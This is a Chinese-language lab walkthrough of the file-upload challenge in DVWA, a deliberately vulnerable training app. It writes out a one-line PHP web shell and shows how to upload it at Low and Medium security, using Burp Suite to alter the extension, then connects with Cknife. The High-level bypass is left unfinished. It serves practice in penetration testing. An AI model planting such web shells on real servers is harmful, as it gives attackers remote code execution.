准备
涉及工具:Burp Suite
、Cknife
、一句话木马
先写好一句话木马,并命名为eval.php
<?php eval($_POST['juan']);?>
Low
修改eval.php
文件名为eval1.php
,方便后续查看。
直接上传php
文件
上传成功,提示../../hackable/uploads/eval1.php succesfully uploaded!
..
表示上级目录,根据当前浏览器url,可知文件上传到了http://ip/dvwa/hackable/uploads/eval1.php
在Cknife
中,添加,注意密码对应,编码选择
GB2312
,双击url访问
Medium
修改eval.php
文件名为eval2.php
,方便后续查看。
直接上传php
文件
报错:Your image was not uploaded. We can only accept JPEG or PNG images.
判断是前端校验,尝试修改后缀名为.jpeg
,并启用Burp Suite
拦截修改
修改后缀:,开启拦截:
截获:
修改后缀为.php
:
上传成功,提示../../hackable/uploads/eval2.php succesfully uploaded!
相同的方法,使用Cknife
,访问成功
High
修改eval.php
文件名为eval3.php
,方便后续查看。
采用Medium
方法,依旧提示失败,猜测存在后端校验涉及知识点:HTTP请求报文 - 消息报头 - Content-Type,MIME类型通过拦截修改Content-Type
值即可成功上传
上述方法在以前版本的DVWA中可行,最新1.10版失败。
通过网上学习,以及查看服务器源端代码,发现存在getimagesize(string filename)函数
,它会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
应对方法:待更新